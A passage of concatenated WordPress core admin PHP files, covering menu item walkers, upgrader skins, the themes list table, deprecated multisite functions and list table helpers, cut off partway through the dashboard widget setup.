	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              Not used.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		global $_nav_menu_placeholder, $nav_menu_selected_id;

		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

		$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
		$possible_object_id    = isset( $menu_item->post_type ) && 'nav_menu_item' === $menu_item->post_type ? $menu_item->object_id : $_nav_menu_placeholder;
		$possible_db_id        = ( ! empty( $menu_item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $menu_item->ID : 0;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$output .= $indent . '<li>';
		$output .= '<label class="menu-item-title">';
		$output .= '<input type="checkbox"' . wp_nav_menu_disabled_check( $nav_menu_selected_id, false ) . ' class="menu-item-checkbox';

		if ( ! empty( $menu_item->front_or_home ) ) {
			$output .= ' add-to-top';
		}

		$output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="' . esc_attr( $menu_item->object_id ) . '" /> ';

		if ( ! empty( $menu_item->label ) ) {
			$title = $menu_item->label;
		} elseif ( isset( $menu_item->post_type ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->post_title, $menu_item->ID );
		}

		$output .= isset( $title ) ? esc_html( $title ) : esc_html( $menu_item->title );

		if ( empty( $menu_item->label ) && isset( $menu_item->post_type ) && 'page' === $menu_item->post_type ) {
			// Append post states.
			$output .= _post_states( $menu_item, false );
		}

		$output .= '</label>';

		// Menu item hidden fields.
		$output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />';
		$output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="' . esc_attr( $menu_item->object ) . '" />';
		$output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="' . esc_attr( $menu_item->menu_item_parent ) . '" />';
		$output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="' . esc_attr( $menu_item->type ) . '" />';
		$output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="' . esc_attr( $menu_item->title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="' . esc_attr( $menu_item->url ) . '" />';
		$output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="' . esc_attr( $menu_item->target ) . '" />';
		$output .= '<input type="hidden" class="menu-item-attr-title" name="menu-item[' . $possible_object_id . '][menu-item-attr-title]" value="' . esc_attr( $menu_item->attr_title ) . '" />';
		$output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="' . esc_attr( implode( ' ', $menu_item->classes ) ) . '" />';
		$output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="' . esc_attr( $menu_item->xfn ) . '" />';
	}
}
<?php
/**
 * Noop functions for load-scripts.php and load-styles.php.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * @ignore
 */
function __() {}

/**
 * @ignore
 */
function _x() {}

/**
 * @ignore
 */
function add_filter() {}

/**
 * @ignore
 */
function has_filter() {
	return false;
}

/**
 * @ignore
 */
function esc_attr() {}

/**
 * @ignore
 */
function apply_filters() {}

/**
 * @ignore
 */
function get_option() {}

/**
 * @ignore
 */
function is_lighttpd_before_150() {}

/**
 * @ignore
 */
function add_action() {}

/**
 * @ignore
 */
function did_action() {}

/**
 * @ignore
 */
function do_action_ref_array() {}

/**
 * @ignore
 */
function get_bloginfo() {}

/**
 * @ignore
 */
function is_admin() {
	return true;
}

/**
 * @ignore
 */
function site_url() {}

/**
 * @ignore
 */
function admin_url() {}

/**
 * @ignore
 */
function home_url() {}

/**
 * @ignore
 */
function includes_url() {}

/**
 * @ignore
 */
function wp_guess_url() {}

function get_file( $path ) {

	$path = realpath( $path );

	if ( ! $path || ! @is_file( $path ) ) {
		return '';
	}

	return @file_get_contents( $path );
}
<?php
/**
 * Upgrader API: Language_Pack_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Translation Upgrader Skin for WordPress Translation Upgrades.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
	public $language_update        = null;
	public $done_header            = false;
	public $done_footer            = false;
	public $display_footer_actions = true;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'                => '',
			'nonce'              => '',
			'title'              => __( 'Update Translations' ),
			'skip_header_footer' => false,
		);
		$args     = wp_parse_args( $args, $defaults );
		if ( $args['skip_header_footer'] ) {
			$this->done_header            = true;
			$this->done_footer            = true;
			$this->display_footer_actions = false;
		}
		parent::__construct( $args );
	}

	/**
	 */
	public function before() {
		$name = $this->upgrader->get_name_for_update( $this->language_update );

		echo '<div class="update-messages lp-show-latest">';

		/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
		printf( '<h2>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h2>', $name, $this->language_update->language );
	}

	/**
	 * @since 5.9.0 Renamed `$error` to `$errors` for PHP 8 named parameter support.
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		echo '<div class="lp-error">';
		parent::error( $errors );
		echo '</div>';
	}

	/**
	 */
	public function after() {
		echo '</div>';
	}

	/**
	 */
	public function bulk_footer() {
		$this->decrement_update_count( 'translation' );

		$update_actions = array(
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		/**
		 * Filters the list of action links available following a translations update.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $update_actions Array of translations update links.
		 */
		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );

		if ( $update_actions && $this->display_footer_actions ) {
			$this->feedback( implode( ' | ', $update_actions ) );
		}
	}
}
<?php
/**
 * List Table API: WP_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed themes in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Themes_List_Table extends WP_List_Table {

	protected $search_terms = array();
	public $features        = array();

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'ajax'   => true,
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		// Do not check edit_theme_options here. Ajax calls for available themes require switch_themes.
		return current_user_can( 'switch_themes' );
	}

	/**
	 */
	public function prepare_items() {
		$themes = wp_get_themes( array( 'allowed' => true ) );

		if ( ! empty( $_REQUEST['s'] ) ) {
			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		if ( $this->search_terms || $this->features ) {
			foreach ( $themes as $key => $theme ) {
				if ( ! $this->search_theme( $theme ) ) {
					unset( $themes[ $key ] );
				}
			}
		}

		unset( $themes[ get_option( 'stylesheet' ) ] );
		WP_Theme::sort_by_name( $themes );

		$per_page = 36;
		$page     = $this->get_pagenum();

		$start = ( $page - 1 ) * $per_page;

		$this->items = array_slice( $themes, $start, $per_page, true );

		$this->set_pagination_args(
			array(
				'total_items'     => count( $themes ),
				'per_page'        => $per_page,
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		if ( $this->search_terms || $this->features ) {
			_e( 'No items found.' );
			return;
		}

		$blog_id = get_current_blog_id();
		if ( is_multisite() ) {
			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: 1: URL to Themes tab on Edit Site screen, 2: URL to Add Themes screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id ),
					network_admin_url( 'theme-install.php' )
				);

				return;
			} elseif ( current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: %s: URL to Themes tab on Edit Site screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%s">enable</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id )
				);

				return;
			}
			// Else, fallthrough. install_themes doesn't help if you can't enable it.
		} else {
			if ( current_user_can( 'install_themes' ) ) {
				printf(
					/* translators: %s: URL to Add Themes screen. */
					__( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ),
					admin_url( 'theme-install.php' )
				);

				return;
			}
		}
		// Fallthrough.
		printf(
			/* translators: %s: Network title. */
			__( 'Only the active theme is available to you. Contact the %s administrator for information about accessing additional themes.' ),
			get_site_option( 'site_name' )
		);
	}

	/**
	 * @param string $which
	 */
	public function tablenav( $which = 'top' ) {
		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 ) {
			return;
		}
		?>
		<div class="tablenav themes <?php echo $which; ?>">
			<?php $this->pagination( $which ); ?>
			<span class="spinner"></span>
			<br class="clear" />
		</div>
		<?php
	}

	/**
	 * Displays the themes table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<?php $this->tablenav( 'top' ); ?>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php $this->tablenav( 'bottom' ); ?>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<div class="no-items">';
			$this->no_items();
			echo '</div>';
		}
	}

	/**
	 */
	public function display_rows() {
		$themes = $this->items;

		foreach ( $themes as $theme ) :
			?>
			<div class="available-theme">
			<?php

			$template   = $theme->get_template();
			$stylesheet = $theme->get_stylesheet();
			$title      = $theme->display( 'Name' );
			$version    = $theme->display( 'Version' );
			$author     = $theme->display( 'Author' );

			$activate_link = wp_nonce_url( 'themes.php?action=activate&amp;template=' . urlencode( $template ) . '&amp;stylesheet=' . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );

			$actions             = array();
			$actions['activate'] = sprintf(
				'<a href="%s" class="activatelink" title="%s">%s</a>',
				$activate_link,
				/* translators: %s: Theme name. */
				esc_attr( sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $title ) ),
				_x( 'Activate', 'theme' )
			);

			if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
				$actions['preview'] .= sprintf(
					'<a href="%s" class="load-customize hide-if-no-customize">%s</a>',
					wp_customize_url( $stylesheet ),
					__( 'Live Preview' )
				);
			}

			if ( ! is_multisite() && current_user_can( 'delete_themes' ) ) {
				$actions['delete'] = sprintf(
					'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
					wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet ),
					/* translators: %s: Theme name. */
					esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) ),
					__( 'Delete' )
				);
			}

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions = apply_filters( 'theme_action_links', $actions, $theme, 'all' );

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, 'all' );
			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
			unset( $actions['delete'] );

			$screenshot = $theme->get_screenshot();
			?>

			<span class="screenshot hide-if-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</span>
			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</a>

			<h3><?php echo $title; ?></h3>
			<div class="theme-author">
				<?php
					/* translators: %s: Theme author. */
					printf( __( 'By %s' ), $author );
				?>
			</div>
			<div class="action-links">
				<ul>
					<?php foreach ( $actions as $action ) : ?>
						<li><?php echo $action; ?></li>
					<?php endforeach; ?>
					<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
				</ul>
				<?php echo $delete_action; ?>

				<?php theme_update_available( $theme ); ?>
			</div>

			<div class="themedetaildiv hide-if-js">
				<p><strong><?php _e( 'Version:' ); ?></strong> <?php echo $version; ?></p>
				<p><?php echo $theme->display( 'Description' ); ?></p>
				<?php
				if ( $theme->parent() ) {
					printf(
						/* translators: 1: Link to documentation on child themes, 2: Name of parent theme. */
						' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
						__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
						$theme->parent()->display( 'Name' )
					);
				}
				?>
			</div>

			</div>
			<?php
		endforeach;
	}

	/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function search_theme( $theme ) {
		// Search the features.
		foreach ( $this->features as $word ) {
			if ( ! in_array( $word, $theme->get( 'Tags' ), true ) ) {
				return false;
			}
		}

		// Match all phrases.
		foreach ( $this->search_terms as $word ) {
			if ( in_array( $word, $theme->get( 'Tags' ), true ) ) {
				continue;
			}

			foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
				// Don't mark up; Do translate.
				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
					continue 2;
				}
			}

			if ( false !== stripos( $theme->get_stylesheet(), $word ) ) {
				continue;
			}

			if ( false !== stripos( $theme->get_template(), $word ) ) {
				continue;
			}

			return false;
		}

		return true;
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @param array $extra_args
	 */
	public function _js_vars( $extra_args = array() ) {
		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';

		$args = array(
			'search'      => $search_string,
			'features'    => $this->features,
			'paged'       => $this->get_pagenum(),
			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
		);

		if ( is_array( $extra_args ) ) {
			$args = array_merge( $args, $extra_args );
		}

		printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args ) );
		parent::_js_vars();
	}
}
<?php
/**
 * Multisite: Deprecated admin functions from past versions and WordPress MU
 *
 * These functions should not be used and will be removed in a later version.
 * It is suggested to use for the alternatives instead when available.
 *
 * @package WordPress
 * @subpackage Deprecated
 * @since 3.0.0
 */

/**
 * Outputs the WPMU menu.
 *
 * @deprecated 3.0.0
 */
function wpmu_menu() {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	// Deprecated. See #11763.
}

/**
 * Determines if the available space defined by the admin has been exceeded by the user.
 *
 * @deprecated 3.0.0 Use is_upload_space_available()
 * @see is_upload_space_available()
 */
function wpmu_checkAvailableSpace() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_upload_space_available()' );

	if ( ! is_upload_space_available() ) {
		wp_die( sprintf(
			/* translators: %s: Allowed space allocation. */
			__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
			size_format( get_space_allowed() * MB_IN_BYTES )
		) );
	}
}

/**
 * WPMU options.
 *
 * @deprecated 3.0.0
 */
function mu_options( $options ) {
	_deprecated_function( __FUNCTION__, '3.0.0' );
	return $options;
}

/**
 * Deprecated functionality for activating a network-only plugin.
 *
 * @deprecated 3.0.0 Use activate_plugin()
 * @see activate_plugin()
 */
function activate_sitewide_plugin() {
	_deprecated_function( __FUNCTION__, '3.0.0', 'activate_plugin()' );
	return false;
}

/**
 * Deprecated functionality for deactivating a network-only plugin.
 *
 * @deprecated 3.0.0 Use deactivate_plugin()
 * @see deactivate_plugin()
 */
function deactivate_sitewide_plugin( $plugin = false ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'deactivate_plugin()' );
}

/**
 * Deprecated functionality for determining if the current plugin is network-only.
 *
 * @deprecated 3.0.0 Use is_network_only_plugin()
 * @see is_network_only_plugin()
 */
function is_wpmu_sitewide_plugin( $file ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'is_network_only_plugin()' );
	return is_network_only_plugin( $file );
}

/**
 * Deprecated functionality for getting themes network-enabled themes.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_network()
 * @see WP_Theme::get_allowed_on_network()
 */
function get_site_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_network()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
}

/**
 * Deprecated functionality for getting themes allowed on a specific site.
 *
 * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_site()
 * @see WP_Theme::get_allowed_on_site()
 */
function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_site()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
}

/**
 * Deprecated functionality for determining whether a file is deprecated.
 *
 * @deprecated 3.5.0
 */
function ms_deprecated_blogs_file() {}

if ( ! function_exists( 'install_global_terms' ) ) :
	/**
	 * Install global terms.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 This function no longer does anything.
	 * @deprecated 6.1.0
	 */
	function install_global_terms() {
		_deprecated_function( __FUNCTION__, '6.1.0' );
	}
endif;

/**
 * Synchronizes category and post tag slugs when global terms are enabled.
 *
 * @since 3.0.0
 * @since 6.1.0 This function no longer does anything.
 * @deprecated 6.1.0
 *
 * @param WP_Term|array $term     The term.
 * @param string        $taxonomy The taxonomy for `$term`.
 * @return WP_Term|array Always returns `$term`.
 */
function sync_category_tag_slugs( $term, $taxonomy ) {
	_deprecated_function( __FUNCTION__, '6.1.0' );

	return $term;
}
<?php
/**
 * Upgrader API: Bulk_Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Bulk Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see Bulk_Upgrader_Skin
 */
class Bulk_Theme_Upgrader_Skin extends Bulk_Upgrader_Skin {

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	public function add_strings() {
		parent::add_strings();
		/* translators: 1: Theme name, 2: Number of the theme, 3: Total number of themes being updated. */
		$this->upgrader->strings['skin_before_update_header'] = __( 'Updating Theme %1$s (%2$d/%3$d)' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		parent::before( $this->theme_info->display( 'Name' ) );
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		parent::after( $this->theme_info->display( 'Name' ) );
		$this->decrement_update_count( 'theme' );
	}

	/**
	 */
	public function bulk_footer() {
		parent::bulk_footer();

		$update_actions = array(
			'themes_page'  => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			),
			'updates_page' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'update-core.php' ),
				__( 'Go to WordPress Updates page' )
			),
		);

		if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
			unset( $update_actions['themes_page'] );
		}

		/**
		 * Filters the list of action links available following bulk theme updates.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param WP_Theme $theme_info     Theme object for the last-updated theme.
		 */
		$update_actions = apply_filters( 'update_bulk_theme_complete_actions', $update_actions, $this->theme_info );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Fetches an instance of a WP_List_Table class.
 *
 * @since 3.1.0
 *
 * @global string $hook_suffix
 *
 * @param string $class_name The type of the list table, which is the class name.
 * @param array  $args       Optional. Arguments to pass to the class. Accepts 'screen'.
 * @return WP_List_Table|false List table object on success, false if the class does not exist.
 */
function _get_list_table( $class_name, $args = array() ) {
	$core_classes = array(
		// Site Admin.
		'WP_Posts_List_Table'                         => 'posts',
		'WP_Media_List_Table'                         => 'media',
		'WP_Terms_List_Table'                         => 'terms',
		'WP_Users_List_Table'                         => 'users',
		'WP_Comments_List_Table'                      => 'comments',
		'WP_Post_Comments_List_Table'                 => array( 'comments', 'post-comments' ),
		'WP_Links_List_Table'                         => 'links',
		'WP_Plugin_Install_List_Table'                => 'plugin-install',
		'WP_Themes_List_Table'                        => 'themes',
		'WP_Theme_Install_List_Table'                 => array( 'themes', 'theme-install' ),
		'WP_Plugins_List_Table'                       => 'plugins',
		'WP_Application_Passwords_List_Table'         => 'application-passwords',

		// Network Admin.
		'WP_MS_Sites_List_Table'                      => 'ms-sites',
		'WP_MS_Users_List_Table'                      => 'ms-users',
		'WP_MS_Themes_List_Table'                     => 'ms-themes',

		// Privacy requests tables.
		'WP_Privacy_Data_Export_Requests_List_Table'  => 'privacy-data-export-requests',
		'WP_Privacy_Data_Removal_Requests_List_Table' => 'privacy-data-removal-requests',
	);

	if ( isset( $core_classes[ $class_name ] ) ) {
		foreach ( (array) $core_classes[ $class_name ] as $required ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php';
		}

		if ( isset( $args['screen'] ) ) {
			$args['screen'] = convert_to_screen( $args['screen'] );
		} elseif ( isset( $GLOBALS['hook_suffix'] ) ) {
			$args['screen'] = get_current_screen();
		} else {
			$args['screen'] = null;
		}

		/**
		 * Filters the list table class to instantiate.
		 *
		 * @since 6.1.0
		 *
		 * @param string $class_name The list table class to use.
		 * @param array  $args       An array containing _get_list_table() arguments.
		 */
		$custom_class_name = apply_filters( 'wp_list_table_class_name', $class_name, $args );

		if ( is_string( $custom_class_name ) && class_exists( $custom_class_name ) ) {
			$class_name = $custom_class_name;
		}

		return new $class_name( $args );
	}

	return false;
}

/**
 * Register column headers for a particular screen.
 *
 * @see get_column_headers(), print_column_headers(), get_hidden_columns()
 *
 * @since 2.7.0
 *
 * @param string    $screen The handle for the screen to register column headers for. This is
 *                          usually the hook name returned by the `add_*_page()` functions.
 * @param string[] $columns An array of columns with column IDs as the keys and translated
 *                          column names as the values.
 */
function register_column_headers( $screen, $columns ) {
	new _WP_List_Table_Compat( $screen, $columns );
}

/**
 * Prints column headers for a particular screen.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen  The screen hook name or screen object.
 * @param bool             $with_id Whether to set the ID attribute or not.
 */
function print_column_headers( $screen, $with_id = true ) {
	$wp_list_table = new _WP_List_Table_Compat( $screen );

	$wp_list_table->print_column_headers( $with_id );
}
<?php
/**
 * Upgrader API: WP_Ajax_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Upgrader Skin for Ajax WordPress upgrades.
 *
 * This skin is designed to be used for Ajax updates.
 *
 * @since 4.6.0
 *
 * @see Automatic_Upgrader_Skin
 */
class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin {

	/**
	 * Plugin info.
	 *
	 * The Plugin_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the get_plugin_data() function.
	 *
	 * @var array Plugin data. Values will be empty if not supplied by the plugin.
	 */
	public $plugin_info = array();

	/**
	 * Theme info.
	 *
	 * The Theme_Upgrader::bulk_upgrade() method will fill this in
	 * with info retrieved from the Theme_Upgrader::theme_info() method,
	 * which in turn calls the wp_get_theme() function.
	 *
	 * @var WP_Theme|false The theme's info object, or false.
	 */
	public $theme_info = false;

	/**
	 * Holds the WP_Error object.
	 *
	 * @since 4.6.0
	 *
	 * @var null|WP_Error
	 */
	protected $errors = null;

	/**
	 * Constructor.
	 *
	 * Sets up the WordPress Ajax upgrader skin.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Upgrader_Skin::__construct()
	 *
	 * @param array $args Optional. The WordPress Ajax upgrader skin arguments to
	 *                    override default options. See WP_Upgrader_Skin::__construct().
	 *                    Default empty array.
	 */
	public function __construct( $args = array() ) {
		parent::__construct( $args );

		$this->errors = new WP_Error();
	}

	/**
	 * Retrieves the list of errors.
	 *
	 * @since 4.6.0
	 *
	 * @return WP_Error Errors during an upgrade.
	 */
	public function get_errors() {
		return $this->errors;
	}

	/**
	 * Retrieves a string for error messages.
	 *
	 * @since 4.6.0
	 *
	 * @return string Error messages during an upgrade.
	 */
	public function get_error_messages() {
		$messages = array();

		foreach ( $this->errors->get_error_codes() as $error_code ) {
			$error_data = $this->errors->get_error_data( $error_code );

			if ( $error_data && is_string( $error_data ) ) {
				$messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $error_data ) );
			} else {
				$messages[] = $this->errors->get_error_message( $error_code );
			}
		}

		return implode( ', ', $messages );
	}

	/**
	 * Stores an error message about the upgrade.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @param string|WP_Error $errors  Errors.
	 * @param mixed           ...$args Optional text replacements.
	 */
	public function error( $errors, ...$args ) {
		if ( is_string( $errors ) ) {
			$string = $errors;
			if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
				$string = $this->upgrader->strings[ $string ];
			}

			if ( str_contains( $string, '%' ) ) {
				if ( ! empty( $args ) ) {
					$string = vsprintf( $string, $args );
				}
			}

			// Count existing errors to generate a unique error code.
			$errors_count = count( $this->errors->get_error_codes() );
			$this->errors->add( 'unknown_upgrade_error_' . ( $errors_count + 1 ), $string );
		} elseif ( is_wp_error( $errors ) ) {
			foreach ( $errors->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) );
			}
		}

		parent::error( $errors, ...$args );
	}

	/**
	 * Stores a message about the upgrade.
	 *
	 * @since 4.6.0
	 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 * @since 5.9.0 Renamed `$data` to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string|array|WP_Error $feedback Message data.
	 * @param mixed                 ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( is_wp_error( $feedback ) ) {
			foreach ( $feedback->get_error_codes() as $error_code ) {
				$this->errors->add( $error_code, $feedback->get_error_message( $error_code ), $feedback->get_error_data( $error_code ) );
			}
		}

		parent::feedback( $feedback, ...$args );
	}
}
<?php
/**
 * WordPress Dashboard Widget Administration Screen API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Registers dashboard widgets.
 *
 * Handles POST data, sets up filters.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global callable[] $wp_dashboard_control_callbacks
 */
function wp_dashboard_setup() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;

	$screen = get_current_screen();

	/* Register Widgets and Controls */
	$wp_dashboard_control_callbacks = array();

	// Browser version
	$check_browser = wp_check_browser_version();

	if ( $check_browser && $check_browser['upgrade'] ) {
		add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' );

		if ( $check_browser['insecure'] ) {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' );
		} else {
			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' );
		}
	}

	// PHP Version.
	$check_php = wp_check_php_version();

	if ( $check_php && current_user_can( 'update_php' ) ) {
		// If "not acceptable" the widget will be shown.
		if ( isset( $check_php['is_acceptable'] ) && ! $check_php['is_acceptable'] ) {
			add_filter( 'postbox_classes_dashboard_dashboard_php_nag', 'dashboard_php_nag_class' );

			if ( $check_php['is_lower_than_future_minimum'] ) {
